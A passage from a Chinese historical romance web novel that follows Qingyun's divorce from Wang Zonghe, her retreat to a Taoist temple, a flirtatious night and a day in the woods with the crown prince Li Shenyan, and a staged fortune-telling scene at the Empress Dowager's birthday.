其实王宗赫早已知晓所有,他人在京城,并没有放弃对她消息的探寻。在她刚到杭州不久,就确定了她的踪迹,自然也清楚李审言跟随而去的事。 现在一副愿闻详情的模样,是想多和她说几句话。 “依你所言,荀垣此人是个奇才。”王宗赫道,“如果到大理寺,应该正好能发挥所长。” 清蕴:“嗯,看他自己造化吧。” 沉默了会儿,清蕴道:“稍后……我去拜见祖父祖母。” “说和离之事?” 清蕴颔首。 “不必了,我已经提前说过,该知道的,他们都已清楚。”王宗赫说着话,身姿在摇晃的马车中依然纹丝不动,只目光一直停留在别处。 清蕴怔住,“三哥是怎么说的?” 王宗赫骨节分明的手指无意识拈过袖口,车帘透进的碎金映在他眉间,将那份冷寂映得愈发分明。 “祖父前段时间咳喘发作,我侍疾时向二老陈明原委。”他道,“只说你我本是兄妹之谊,却因前朝之事,迫不得已成为夫妻。如今危局已解,你我商议过后,发现终是性情不和,琴瑟难谐,故而选择好聚好散。” 清蕴垂眸,三哥这个说法看似合理,实则把事由都揽到了他自己身上。因为如果真是这样,长辈们一定不会认为是她想要和离。 但除此之外,似乎也没有更合适的说法。 王宗赫接道:“和离之后……你打算如何?” “先搬出去。” 王宗赫凝眉,“京城找个合适的宅院不容易,即便你我和离,你也还是王家人。如果顾忌我,我可以先暂住在吏部为外地官员安排的住所,等你安定下来,再搬回去。” “不必,我已经和大姐姐说好,去她所在的观中。正好她觉得一人无趣,让我去陪她。” 既是王令娴的邀请,王宗赫就没说什么。 一路再无话,两人其实都想接着开口,又都同时忍住了。 感情与查案、办差不同,并非一条路走下来,便能豁然开朗。王宗赫如此,清蕴更是如此。 到了熟悉的大门,清蕴往里走,碰见弟弟妹妹,笑着给他们带去礼物,紧接着给各位长辈请安。 清蕴去虹县救王宗赫一事,王家人皆知。她也确实救回了王宗赫一条命,种种缘由相加,家里如今没有不喜爱她的。 除去王贞和秦夫人,目前无人知晓夫妻俩准备和离的事,都很热情,郑氏还当着她的面数落儿子,“当初他回京时,我就纳闷怎么是他一人回来,结果三郎说你要借机去浙江看望静王他们,自己要急着回来办差。此事是他不对,本来该陪你一道的。” 清蕴笑着道:“公务要紧,是我让三哥先回的。” 如此耗费了快一个时辰,她才回到春诵堂,进门后发现主屋里竟没有居住的痕迹。 王宗赫解释,“这段时间忙,都是歇在书房。” 实则是,每回到这里,往日二人相处的场景就历历在目,气息若隐若现,王宗赫待了几晚,就睡去了书房。 在桌边落座,清蕴给彼此倒了杯茶,面前的人忽然从袖中取出卷成筒状的纸,正上方为“和离书”三字。 很简短的几行字。 立和离人,王宗赫,今与妻陆氏清蕴情志难谐,经共商决意分袂。念结发三载,虽无龃龉,终愧失鹣鲽之契。既无怨怼,不涉财帛,此去各安所愿。 尔我本属兄妹之谊,因势所迫缔姻。今山河既定,当归本真。自此解姻缘之约,复手足之情,事亲奉族如旧。天地为鉴,此心昭然。 恐后无凭,立此书存照。 最后盖有王宗赫的私信。 清蕴盯着看了会儿,她本以为这件事会由自己提起,没想到三哥准备得这么早。 这是她所见的第二封和离书,不,准确而言,第一封为李秉真给予她的放妻书。只是当时她不准备用上,以为将以李秉真未亡人的身份度过余生。 谁能料到,会有今日。 她缓缓提笔,在旁写下姓名,并添道:情谊不泯,各保千祥。 最后一笔落下,从见面起就表现得冷静克制的王宗赫突然失控,伸手紧抱住她,“猗猗,不和离好吗?” 清蕴沉默。 “你若对李审言有意,自可与他相会,我可以……视而不见。”王宗赫手微微发颤,“但我们不要和离。” 第116章 解衣一观 王宗赫三岁辨篆, 五岁通经,及冠之年登甲科首榜。琼林宴上朱衣风流,名动京城,自此历翰林院修撰、吏部侍郎、内阁大臣, 端的是清贵无双。 君子如他, 克己如他, 为清蕴却能一再打破世俗常理和底线。这样的话, 在此之前,连他都想象不到会出自他自己之口。 真正说出口时, 王宗赫并没有之前思考许久时的沉重和纠结,反而感到一阵轻松。他意识到,如果真是这样,自己的确可以接受。 清蕴惊讶极了,看他的眼神像在看另外一人, “三哥, 你知道自己在说什么吗?” “我很清楚。”王宗赫缓缓吐出一口气,道,“前朝云化年间, 西南云麓峒土司之女蒙阿莎承袭父位时,为平衡汉将与苗医两方势力,依边疆旧俗缔结‘兄弟婚’,三人共执峒务二十载。” 他低首, “你看, 此事并非无例可考。” 清蕴有种恍惚感, 她知道三哥这段时间独自在京城肯定想了许多, 有诸多纠葛,没想到他竟连这种事迹都找出来了, 只为证明他那个想法的合理吗? 片刻,她道:“我不是女土司,也没有大位要继承,更无一女享二夫之心。不论其他,三哥身为内阁大臣,王家麒麟子,一旦这种事传出去,你要如何立足?王家又会怎样被耻笑?” 这些,王宗赫当然都考虑过,只是故意忽略而已。 他缄默不语,被拒绝后,浑身气力也随之消失。这段时间的冷静不过是在强撑,即使是最荒唐的挽留方法都被拒绝了,他不知自己还能做什么。 清蕴垂眸,“是我辜负三哥。” 王宗赫笑了下,摇摇头,仍没有说话,转身离开。 若非他直接拿出和离书,清蕴以为这件事要过段时间再议。眼下说开了,她拒绝得如此彻底,就没了继续待下去的理由。 突然间,清蕴想起八岁那年来到王家的种种情形。三哥为她引路、教她识人、带她出门,沉默而可靠,冷峻却体贴,种种场景犹在眼前,而今物是人非。 如果她当初没有顺势嫁给三哥…… 清蕴出声唤白芷,等她忧心忡忡看着自己许久才道:“帮我收拾行李吧。” 和离书已写好,清蕴干脆快刀斩乱麻,以最快的速度将一切告知诸位长辈,在他们不解惊讶的目光中和王宗赫到吏部、礼部报备。 和离书上的缘由可糊弄外人,骗不了王家人。在他们看来,三郎对清蕴情深意切,清蕴可以为三郎付出性命,这不是夫妻情深是什么? 他们的疑惑得不到答案,因王宗赫不愿答,而清蕴则迅速搬去了王令娴所在的水云观。 此处名为道观,实则专供达官贵人家中女眷外出居住。王令娴身份特殊,虽然她年纪尚轻,但已无人会议论她的婚嫁之事,她在这儿过得潇洒恣意。了解清蕴搬来的理由,她欢迎至极。 午后,用过饭食,手谈一局后,姊妹俩一同上榻小睡。 时令寒凉,清蕴盖着被褥朝外侧躺,听帘幔被吹动的沙沙声,目光虚落在博古架上,毫无睡意。 “清蕴。”身侧的王令娴忽然出声,“你睡着了吗?” “没有。” 感觉到王令娴朝自己这边转身,清蕴也跟着转去,二人相对而视。 目光流转间,王令娴先声开口。 “我听说了,近些日子来求见你的人。”王令娴斟酌语句,思量怎样说才不至让她误会,“你是因那位,与三哥和离吗?” 清蕴:“可说是,也可说不是。” 王令娴嗯了声,“那为何不见他?” “我只是觉得……此时不适合。”清蕴别开眼神,难得的犹豫模样,让王令娴心头微软。 她痴长清蕴一岁,从前在家中,遇事却总是靠清蕴站在前面,安抚、支持她。 如今可能是经历的事情太多,再看清蕴的模样,总觉得她还年轻,如此灵慧美丽,注定要遭受男女之情的困扰,如今犹豫不定,实属人之常情。 王令娴:“你刚和离,此时的确该避嫌,等过段时间就好了。” 清蕴微转过眼,“大姐姐可会觉得我太无情?” “无情、有情是如何断定呢?”王令娴轻哂,姿势转为仰躺,看着虚空,“从前我谨遵父母令,尽孝道、守人礼,算不算有情?可那些年好似也没怎么真正快活过,母亲给我定的规矩太多,根本没时间去想其他。” “后来和周郎相识,我高兴了好一阵,如此对母亲来说算无情吧?”她笑意不减,“结果周郎辜负我,被我亲手……如此对他而言,我也是无情吧?但我却很快乐,进宫后更是如此。” 重新看过来,王令娴眨眼,“实不相瞒,我一直有个想法,怕你们责骂我,便没有说过。” 清蕴做出认真倾听模样,目光专注。 任何人和她熟了以后,都会放心地吐露心事,王令娴此刻便没有避忌,“其实我还蛮喜欢杨煦的。” 清蕴:“……嗯?” 王令娴摆手,“不是你想象中的男女之情,至少他去找各式美人,我从未伤心过,只是羡慕他活得足够肆意。当然,也不是说他横征暴敛是对……” 王令娴想说清楚自己的想法,三言两语却说不清,做了无数补充,让清蕴露出笑容,“我懂了,大姐姐不必再解释。” 松了口气,王令娴道:“所以,我虽为你和三哥可惜,但也不觉得顺从自己心意有何不对。归根到底是缘分已尽,谁都没错。” 一席话下来,清蕴真正感受到王令娴的转变。怪不得她不愿回王家,于她而言,回家恐怕会是另一种束缚。 她伸手抱住王令娴,“大姐姐,你待我真好。” 王令娴笑着,轻抚她的脸颊,“实在不然,我们二人这样彼此伴着也挺好,谁说一定要找个男人过一生,是不是?” 清蕴亦扬唇,就这样相偎着睡过去。 在水云观的日子惬意而轻松,基本无需同他人打交道,清蕴连生意上的事都全权放给了彭掌柜,这段时间在山中随日升月落而起、而息,煮茶品酒弹琴种花,已然是世人想象中的隐士生活。 偶尔兴致来时,王令娴会请乐坊、舞坊的人来此出演,或是请些清俊男子来陪伴饮酒作乐。 实不相瞒,清蕴几乎乐不思蜀。 李审言眼睁睁看她潇洒有段日子了,最开始求见被拒了几次,他想着,是该让她独自清静清静。缠得太紧了,难免像整日盯梢丈夫的怨妇,既不体面,也容易遭人厌烦。 他受着镇安帝的罚,在东营和皇宫之间忙碌,得暇就从亲卫那儿听两嘴水云观的消息。 得知水云观第三次请君子坊的人前去时,他坐不住了,“这君子坊到底做什么的,怎么全是年轻男子?” 据他所知,从君子坊请人的全都是些有权有势的女子,他们还只受女子之邀。 亲卫:“似乎是陪同练琴、作画、下棋,或是出门踏青游玩,许多贵妇人私下都喜欢……” 瞥见主子阴沉沉的脸色,忙补充道:“但做的都是正经生意,卖艺不卖身。” “卖艺不卖身。”李审言冷哼一声,“私底下做了什么,别人能知道不成?” 亲卫:“……” 刚巧忙完了东营的事,李审言二话不说,骑上马就往水云观疾驰而去。 出发为酉时,抵达水云观已经过了一个时辰,天色幽暗,上山的路黢黑一片。 冬日天儿暗得早,这个时辰有些人家都已经睡了。 陈危今日也来过,清蕴招待了他,傍晚饮了些桂花酿,这会子已经躺在榻上,正懒懒撑额,漫不经心地捧着一本书,目光略显迷离。 榻前挂了盏小灯,微光映得她肌肤莹润如玉,面若皎月,好似神妃仙子。 窗畔传来轻微叩响,清蕴循声看去,一时没反应过来。因知道观中本身有人巡逻,李审言还派了人守着,也没想过会有危险,出声问:“哪位?” 传来一道男声,“是我。” 清蕴笑了下,继续懒洋洋地问:“我又是谁?” 窗外,李审言沉默,这是喝了多少酒,听着人都变傻了。 他干脆不等了,使巧劲开窗,跃进去的刹那,整个人呼吸随之一滞。 屋内置了炭盆,暖流四溢,清蕴仅着一件轻薄中衣,横躺在榻沿,玲珑身段尽显,眉梢唇畔浮现的慵懒别有一番风情。 喉结微微滚动了下,李审言不仅没避开视线,反而更靠近几步。 不算宽敞的内室被他高大的身形一堵,都显得狭小了。 “喝了多少酒?”他直接往榻边小凳一坐,目光如炬。 清蕴比了个三。 “三杯就醉成这样?”李审言想嘲笑她,转眼听到清蕴吐出两字,“三壶。” 李审言:“……那你挺厉害,和那些人喝得很开心吧?” “哪些人?” “当然是那些君子坊的‘君子’。”李审言几乎是一字一顿地说出这句话。 他知道清蕴这会儿不清醒,但不妨碍他滔天的醋意。 清蕴眨了几下眼,细思才想起来般,“自然,他们皆年轻俊秀,又通情达理、善解人意,相处起来,当然开心。” 李审言凑近,让她看清自己的脸,“比我更好看?” 他平时不怎么注重外貌,不代表他不知道自己长得好,至少平日里那些投怀送抱的人也不都是看身份才来的。 醉中的清蕴认真打量半晌,然后评价,“尚可,中上之姿吧,气势太盛了些,不够亲和。” 李审言脸黑下来,得多亲和,她和那些人是怎么亲和的? 下一瞬,清蕴又看向他全身,不紧不慢道:“但,体格尚可,若能解衣一观,更易比较。” 第117章 这笔账他迟早讨回来 李审言唇角轻轻一勾, “解衣,你确定?” “你不敢?”撑额斜倚的清蕴视线悠悠扫过面前人全身,目光带火,让李审言感觉浑身都烫了起来。 真不知她这阵子都学了些什么, 以前好歹很会做面上功夫。还是说, 被酒意催发胆量? 这世上李审言不敢做的事很少, 在心仪的女子面前解衣而已。 他起身, 坐到窗边的靠椅上,往后大喇喇一靠, 大方展示身躯,“那就劳烦文襄夫人亲自来解了。” 清蕴缓慢地眨了下眼,当话中的意思传达到脑海时,她已经站起身,随手披上外衣。 潜意识中她当然知道这是李审言, 正因为清楚是他, 才会如此毫无顾忌。 但终究有些醉了,动作再慢再仔细,经不住手在发颤, 半天才解下腰带。 隔着衣衫,掌下肌肤都滚烫得如同烙铁,清蕴不耐烦了,干脆俯身。 李审言浑身紧绷, 低头看她用齿咬住他外袍系带, 丝绸断裂声混着闷哼炸开在空气里。 烛影摇晃间, 精壮腰腹随呼吸起伏如暗潮, 蛰伏的青筋在小臂下若隐若现。 看她染着蔻丹的指尖停在那儿没了动作,李审言再没忍住, 伸掌覆住她,低声道:“你这双手到底是在解衣,还是要人命?” “男子衣衫是这样解的。”说完,带着她开始动作。 随着他的带领,腰带、外袍件件落地,仅剩中衣大敞,松松垮垮地挂在身上。烛光晃晃,映照出一副高大健壮的身躯。上衣全部滑落,露出紧致结实的蜜色肌肉,处处彰显力量。 这是一具本身就得天独厚,又经历了战火淬炼的身体,和清蕴所见过的都不同,每次一呼一吸,胸前肌肉都在缓缓起伏,诱人抚摸。 她也的确上手了,就在触碰的瞬间,整个人天翻地覆,瞬间倒了个边,被李审言压在椅背。 沉重喘息声响在耳畔,李审言眸中□□燃烧,只恨面前这糊涂醉鬼根本不知自己在做什么,徒留他一人难受。 李审言是成年男子,有自己的欲望,在耳濡目染下慢慢知晓风月事,但很少自己解决,总觉得没什么意思。凡身体躁动,大都是靠练武来发泄精力,或者静静躺着等其自己平息,再不然就多浇几桶凉水,总能过去。 可眼下温香软玉在怀,那些方法怎么可能管用,他又不是君子。 毫不犹豫地俯身亲过去,从浅尝辄止到深入纠缠,李审言愈发意乱神迷之际,突然轻嘶一声,稍稍离开抹了把嘴角,果然被咬出血来。 他舔了舔,尝到血腥味笑起来,“又不是属狗,怎么总咬人?” 清蕴皱眉,“不舒服。” “那我轻些,总行吧?”说完,李审言放缓动作,尽量温柔些,如此总算叫面前的小祖宗有些许满意,愿意回应他了。 得到回应的李审言愈发激动,浑身都硬得发疼,以恨不得把清蕴揉进怀里的架势抱紧人。分明是寒冷冬夜,他赤()裸的上身却出了层薄汗,附着在紧绷的肌肉上,让清蕴抱也抱不住,不得不伸出指甲抓住。 这点疼痛和咬唇舌不同,只会让李审言更加兴奋,眼尾几乎都带上猩红。 突然间,他膝盖被不轻不重踢了下,李审言迷蒙睁眼,虽不知她的意思,已下意识顺着那股力度单膝跪地。 “怎么?”声音哑得厉害。 “渴。”清蕴言简意赅。 准备起身给她拿水壶,李审言却发现这人一只脚就踩在自己小腿,似是故意使坏不让他起。 他含笑扫过她,干脆趁了她的意,长手一伸给她连倒三杯茶,耐心等她喝满足,再将剩下的水饮尽。 清蕴居高临下地看他,看到的是和平时不一样的李审言。 他的发和眉都很粗,乌黑浓密,双眸黑亮专注,鼻梁高而挺,薄唇红润。单论相貌,不输清蕴看过的任何男子。只是平时他要么懒散不羁,要么气势凌人,叫人先看入眼的从不是样貌,才忽略了这些。 世人都喜欢好相貌,清蕴也不例外,顺从心意轻咬了下那水光润泽的唇,勾起中衣领口一角,边往后退边勾着人走。 一人跪着向前,一人后退,慢慢往榻边去,直到清蕴碰到榻沿,腿膝微弯,坐在床榻上,高度降低。这样的距离,李审言只要稍微抬首就能够着她。 恢复斜躺的姿势,清蕴看着他道:“就这样陪着。” “只要陪着吗?”李审言可不管她是不是醉了,也从来不懂得什么叫客气。她伸手解了他的衣裳,又叫他这样赤着上身待在床前,难道还要他老老实实不成? 是以,在清蕴拒绝的话还没说出口之前,李审言就半起身一压,把人往床榻深处带去。 “你自找的。”他哑着声音吐出这几个字。 帐幔被夜风掀起又落下,酒香混着汗意蒸腾成暗潮。 清蕴的玉镯滑到肘弯,腕骨抵着铁铸似的胸膛,指甲时不时刮过胸间沟壑。 李审言擒住她作乱的手腕压过头顶,精壮腰腹绷成弓弦,浑身大汗。 他感觉哪哪儿都是触手滑腻,分不清是汗水、泪水还是其他。 清蕴的簪子不知何时斜插进他的发间,让两人的发丝缠绕在一起,叫她迷蒙间忍不住想伸出手把玩。 “别动。”李审言喘着气继续困住她,额角青筋突跳,正要有下一步动作时,却见身下的人脑袋一歪,竟闭眼睡了过去。 李审言:“……不许装睡。” 可清蕴不是装睡,那么多酒本就让她脑袋昏沉,方才胡闹了一场,身心舒畅,自然再抵不住困意。 捏捏她的脸,确认人是真睡了,李审言感受着浑身的燥热,最后无奈叹口气。 这笔账他迟早讨回来。 他抓起案上冷茶浇在脸上,水珠顺着喉结滚进暗处。 ** 山间清晨通常在鸟鸣中到来,四季皆有不同风光。 清蕴先是感到一阵热意,脑海中还在想,不是冬天么,难道昨夜炭盆打翻了? 睁眼就对上一片精赤的胸膛。 清蕴:“……” 李审言还在熟睡,他昨天在大营本就耗费许多体力,策马一个多时辰赶到水云观,又尽心尽力服侍她许久,着实累了,所以这会儿丝毫没察觉清蕴的动静。 强行让自己冷静下来,昨夜的记忆缓缓浮现在脑海,清蕴意识到昨夜还真不能怪李审言。 夜探女子闺房是他的错,可后面分明是她醉酒中故意为之。 但凡她再多醉会儿,两人早就不知做到什么地步了。 无声拿起衣裳,清蕴准备轻步离开时,王令娴声音忽然响起,“猗猗,醒了吗?” 这段时间两人经常同吃同住,如果不回应,她很可能直接推门而入,清蕴稍微清嗓,“刚醒。” 声音仍有些低哑,像是宿醉后的反应,王令娴笑道:“还难受吗?我给你带了醒酒药。” “不必,我这儿也有。”清蕴道,“大姐姐,我现在衣衫不整,待洗漱后再去找你。” 王令娴:“你我姊妹,房内随意些又有什么关系,就是喜欢讲这些虚礼,真是被三哥带的。” 话如此,她没有入门的意思,只道:“白芷一早就做了粥,洗漱好就来吃吧,我们等你。” “好。” 打发走堂姐,清蕴一回头,榻上男子已睁开眼,似笑非笑盯着她。 “在下为文襄夫人操劳一夜,夫人清晨竟准备不告而别,未免太过无情。” 想到他昨夜是如何“操劳”,清蕴就感觉双颊发烫,万没想到自己也有酒后乱性的时候。 “既然醒了就起吧,在旁人没发现你之前赶紧回去。” 李审言半直起身,“真这么无情?” “不然如何?”清蕴面上淡定,“你还想要赏银不成?” 见她真有赶人的架势,李审言大喇喇重新躺回去,“赏银不用,只是我太累了,无论如何也要休息一天才能走。” 清蕴:“……那你躺着吧。” 说完到外间随意洗漱了番,就去找王令娴二人用早饭,随后陪着浇浇花,一上午过去。 回到房内时,这人还真仍躺在那儿,看模样是相当满足地睡了两个多时辰。 见到她,李审言随意地伸展四肢,顿感精力充沛。 有段时间没睡个好觉了,除去镇安帝罚他,还有太多事要忙,他自己总静不住。 躺在清蕴榻上,到处都是她的气味,才能够真正踏实睡一觉。 清蕴:“不饿吗?” “饿。”李审言道,“但能躺在这儿,饿几顿也值了。” 清蕴扯起他的衣裳丢去,“穿好。” 李审言不动,“怎么,肯带我出去见人了?” “嗯,是该出去遛遛。” 这种逗弄和促狭的语气也只有清蕴能在他面前说。 清蕴:“起吧,带你去吃东西。” 见她不像假话,李审言三两下穿好衣裳,捡起腰带时才发现,腰带昨晚不知何时被勾断了。 清蕴想想,找了条自己的青色腰带递去,反正不细看也看不出。 随着她往外走,绕了好些圈,李审言感觉她越走越偏,最后竟出了水云观,来到山腰的林中。 他扫视左右,不可置信道:“这个时节,你难道让我自己打东西吃?” 清蕴:“太子爷不是很能耐么?” 李审言:“……行,该备的东西呢?” 清蕴取出火折子和调料。 她都给自己备了,李审言还有什么话说,观望了下地形,笑了笑,“在这等着,给你看看爷的能耐。” 给他点颜色就能开染坊,清蕴挑眉,挑了个干净的石头坐着,欣赏冬季山林风景。 山风掠过林梢,枯枝在冷冽中簌簌相碰。 褪去秋叶的乔木裸露出来,几簇忍冬红果悬在崖畔,随岚风轻晃。 清蕴拢紧披风,目光被头顶山鹰盘旋的身影吸引。 不知过了多久,清蕴头顶忽然被什么砸了一下。 她还以为是落叶之类的小东西,等第二次被砸时猛得回头,却见李审言坐在不远处的大树枝桠间,故意一下又一下地往这儿砸果子。 不疼,但捉弄之意很明显,这人还笑得格外开心。 清蕴:“……幼稚。” 听见这声评价,李审言眉梢微动,从树上一跃而下,直直朝她走来。 直觉他不怀好意,清蕴瞬间抬脚就走,可哪儿抵得过他猛得扑来的速度。 一把捞起她,李审言抬首挑了棵不高不矮的树,扛着人借力攀了上去,然后把清蕴送到枝桠间。 这种高度,清蕴不是不能跳下来,但绝没有李审言姿态那么潇洒,还有可能崴脚。 要想下去,必须求助他。 李审言跃回地面拍拍手,好整以暇地环胸看她,“如何?” 第118章 若不得天河水命的女子相佐,恐有命劫 树间树下二人对望, 李审言咧开嘴笑得得意,清蕴眼神慢慢转了圈,忽然扶着树干站起。 她身形纤瘦,但在不算粗壮的枝桠映衬下, 仍有摇摇欲坠之感。 李审言笑容停滞, 等等, 不是他想的那样吧? 瞬间站直身, 他仰首看去,一个“不”字还没出口, 清蕴已经松手朝地面俯冲而来。 来不及想太多,李审言张开手快速往前奔,随即发出闷哼,胸膛被砸得结结实实。 往下坠的力量全被他承受了,清蕴毫发无伤, 撑起手斜睨身下当垫背的人, “不如何。” 这是回应他刚才的挑衅。 李审言看着趴在身上的人,脖间被几缕垂落的发丝弄得发痒,胸膛随笑声震动起来, “真是一点亏都不愿吃。” 清蕴眨眼,慢条斯理地起身,拿他的腿当座椅,不慌不忙地理好衣裙, 恢复端庄优雅模样。 “去了半天, 就找到些野果?” 李审言指向树后, “有两只野兔子, 要不要养?” 是两只灰色的小兔子,毛茸茸颇为可爱。李审言感觉女子都会喜欢这种小东西, 费了点功夫活捉。 清蕴不感兴趣地掠过,“你烤了吧。” 如果想养宠,她早就养了。 李审言没再说什么,拎着它们去了溪边,不一会儿就带回来光溜溜的被扒皮的兔子来,熟练地串架生火,开始烤肉。 洒上调料,李审言又出去一趟,摘了些宽叶草,据说可以让兔肉更香。 他烤肉时,清蕴就安静地坐在那儿,偶尔看看他,偶尔瞧瞧风景,直到发现李审言在瞥着自己暗自微笑。 她狐疑地摸向头顶,什么也没有。 李审言:“往东走百步就有一条小溪。” 清蕴起身,揽水镜自照,发现临近耳边的发丝中不知何时插了朵小花。 她一怔,抬手轻轻取下。是这时节常见的黄梅。小巧玲珑,形似铃铛,花瓣半透明如蜜蜡,稍微靠近,便能闻到明显香气。 她时常簪花,相较于繁重的首饰和那些精美的绒花、绢花,也更喜欢这种充满生机的鲜花。 回过头,看向跟来的李审言,她拈起黄梅重新插()入发间,扬唇一笑,“算你挑得还不错。” 李审言呼吸微顿,好半晌找回声音,“翻过那边山坡,有片野梅林,要不要去?” “你先吃。”清蕴走回去,“我不急。” 李审言便没再出声,回到临时搭起的烤架旁,时不时看眼倚石而坐的清蕴。 她今天穿了身水蓝色交领长裙,身披墨灰绒面披风,领口领口镶着寸许宽的雪狐毛,蓬松毛尖随山风轻颤,宛若水墨画卷,美而灵动。 这样的画面,让李审言想到了曾经的无数个午后和傍晚。他在树梢间看着李秉真和她在院中小坐闲谈,偶尔什么都不说,各自看书、弹琴。 他正是为那样宁静和睦的氛围所迷惑,情不自禁窥视了一次又一次。看见陆清蕴的笑颜时,总感觉那是对自己绽放。 如今,她果然坐在了自己身边。 心情愈发轻快,李审言低头咬下兔肉,唇角始终保持上扬。 吃过自烤的一餐,看过野梅林,李审言慢悠悠地缀在清蕴身后。既能清楚看见她,也能应她的要求,在发现人之后及时回避。 最先遇见的不是王令娴,而是随白芷匆匆而来的疏影。 李审言瞬间闪避,未曾被发现。 疏影一脸焦急,看见清蕴就快步赶来,“夫人——” 他双膝瞬间跪地,乞求道:“夫人,求求您回去一趟吧。” 清蕴扶起他,“出什么事了?” 她神色微绷,思索三哥会出什么问题。 “没出事,但是……”疏影道,“近两月来,公子一心扑在公事,家也不回,饭也不怎么吃,实在饿到提不起笔才用两口糕点,不然就是用茶水果腹。我怕再这样下去,他身子撑不住。” 谁都知道王宗赫这种状态的原因,故而疏影宁愿冒着被责骂的风险也要来水云观。 袖中的手微微握紧再松开,清蕴别过眼,“三哥勤勉,有时容易废寝忘食。你们作为身边人,多劝着就行。” “我们劝了能有用就好。”疏影苦笑,“只有您才行啊。” 清蕴淡声,“我不会去。” 疏影愕然,“公子是……放不下您啊。” “我去了,也许有效。但一次如此,两次如此,如果他始终放不下,怎么办?” 清蕴的话冷静到无情,也理智得可怕,疏影结结巴巴,“可再这样下去,公子的身体……” “外祖父母、舅舅舅母他们不会坐视不管,陛下也会派人照看。”清蕴道,“顶多消瘦些,不会有大碍。” 疏影看着她,仿佛正面对一个陌生人,“夫人曾为公子只身前往徐州赈灾,又能为公子去疫区冒险,可见对公子并非没有感情。难道仅仅是一纸和离书,所有情谊就没了吗?” 疏影字字控诉,满含不解,却没有真正的怨怼。因为清蕴曾经的付出他看在眼里,只是不理解为何她能放下得这么快。 缓缓吐出一口气,清蕴轻声道:“我和三哥做不成夫妻,仍是兄妹。作为表妹,我可以去看望他、关心他,但他会以兄长的身份看我吗?长痛不如短痛,纠缠不休,他永远都放不下。” 疏影:“……夫人说得有道理,世人如果都像您这样理智,就不会有那么多痴男怨女了。” 疏影这绝非夸奖,而是为自家主子不平,出言嘲讽。 清蕴没说话,白芷忍不住道:“三公子自己答应的和离,和离书都拿去了官府,京城皆知。木已成舟的事,再做出这种姿态,就是为了让你们感慨他痴情、责怪我家主子无情吗?” 她横眉冷对,圆目怒瞪,疏影被说得哑口无言,想要反驳,最终哑火,垂首道:“是我失言,对公子关心则乱,绝不是真心责怪您。” “你怪不怪,和我们有什么关系?”白芷隔在他和清蕴之间,“走吧,今后我不会再给你引见。” 知道自己彻底得罪了白芷,疏影抿唇,最后看眼清蕴,道一声“抱歉”后快速离去。 白芷仍气得不轻,寡言少语如她都冒出一大串的话了,“真该把藉香带来,刚才就能把他打出去。” 清蕴倒是笑起来,抬手抱住她,“谢谢你,白芷。” 白芷略为不好意思,轻轻回抱,“主子不必自责,男子可以选妻,您当然也能挑夫婿,不合则散,很寻常的事。” “很多人不这么想。”清蕴朝李审言藏身的树后看了眼。 他刚才很懂事地没有现身。 白芷接着说:“主子是不是要写信回去?” “白芷越来越懂我了。”清蕴笑着答,“我确实要写封信拜托各位长辈。” 说着话,两人一同回水云观去。 李审言原地沉思。 ** 年底除夕和太后寿辰相近,清蕴收到旨意,坐上镇安帝派来的车驾,进宫为太后祝寿。 “文襄夫人。”刚被引进内宫,清蕴便听到有人唤自己,定睛一看,是曾打过交道的卢太夫人。 卢太夫人与太后是旧识,也是孟集的母亲。她有个待字闺中的孙女孟茵,一度被太后视为太子妃。此次太后特意邀祖孙二人来聚,用意不言而喻。 孟茵脸蛋丰润,目光清亮,对清蕴有许多好奇,最终化为善意的笑,“文襄夫人。” 她今岁十八,清蕴已二十有四,看她就像看小妹妹,回之一笑,“孟姑娘。” 两人打过招呼,前后往太后宫中走去,远远就瞧见站在那儿一身玄色常服的太子李审言。 孟茵往祖母和清蕴身后躲了躲。 清蕴有些讶异,瞄了瞄李审言,难道他还故意吓唬过人家小姑娘不成? 除去清蕴和卢太夫人祖孙,另有五人来为太后庆生。当着外人的面,李审言还是很会装模作样的,凤目生威,神色淡然,朝众人微颔首,就走向别处。 众夫人对李审言一阵夸赞。 落座后,清蕴和孟茵相邻,两人算不上熟,她也不欲交浅言深。但孟茵很是自来熟,打开话匣后就滔滔不绝,看着卢太夫人发愁,“祖母和太后聊得这么开心,希望她不要忘了来意才好。” 清蕴饮了口米酿,并未发问,也没想了解,孟茵自己就把事情给三言两语讲了出来。 太后想把她定给太子,她本人和家中都不大愿意。她觉得太子年长自己太多,又凶巴巴,两人连话都说不上。 孟家不愿意,则是一个很简单的原因,他们觉得太子克自家女儿。 克?清蕴下意识看过去。 孟茵有些不好意思地解释,“自从太后和我祖母说过一回后,我就三天两头出意外,不是丢东西,就是被贼偷,途中还染了场风寒。祖母帮我去寺庙求签,说是大凶,提醒我在姻缘一事要慎重。” 孟家立刻想到自家姑娘不能嫁给太子。 没嫁过去就这么倒霉了,真成婚岂不要丢掉小命。 清蕴:……这八成是李审言的手笔。 “那……准备如何说呢?”清蕴有些好奇。 “就如实说。”孟茵道,“太后笃信佛理,深知命理之言。祖母说,她老人家会理解的。” 不。清蕴想,对于盼孙媳心切的太后来说,还真不一定会把这说法当回事。 但清蕴显然小看了李审言。 待她随众人陪太后看戏时,边上请来一位仙风道骨的高僧时,清蕴眼皮猛得跳了下。 这不正是当初的法显么? 当初得知他出门云游去了,清蕴还以为这人终于知晓危险,要远离京城了,居然又出现在此处,还敢进宫。 李审言含笑,说知道祖母信佛,特意为她请来的云游高僧。 太后精神大振,和法显交流佛法经书,连连颔首,末了意犹未尽夸赞,“大师真乃高人,一席话使老身拨云见日。” 法显笑笑,“这不算什么,贫僧最擅长的并非此道。” 太后出声追问,得知法显还擅长易经推演、合算八字,当即喜道:“那大师可得为我孙儿算一算。” 法显道:“贫僧每月只推演测算一次,昨日正好过完上月,正可为太后效劳。” 没注意卢太夫人欲言又止的态度,太后立刻给出李审言生辰八字,接着又指了指孟茵,意思明显。 法显手持朱砂笔在黄纸上游走,笔尖悬停处落下点点星芒。 他忽然闭目掐诀,额间渗出细密汗珠,待再睁眼时目光如炬,“此乃天狼吞月之相,男女主星隔三垣相望,若强行合盘——婚盟缔结之日,便是天狼噬主之时。轻则家宅不宁,重则” 他抬眼掠过孟茵发间金步摇,“姑娘命中带金,恰与太子命宫相冲,不出三载必损根基。” 话音未落,卢太夫人手中茶盏已溅出半盏清茶。 法显将卦纸投入香炉,“更凶险处在于,太子命盘暗藏七杀,若不得天河水命的女子相佐,恐有命劫。” 太后手中檀木念珠“啪嗒”散落满地,李审言适时上前搀扶,玄色衣袖拂过案几时,带起一阵裹挟着沉香的风。 法显垂眸敛去眼底精光,双手合十不再多言。 太后忙倾身,“何为天河水命?要如何去寻?” 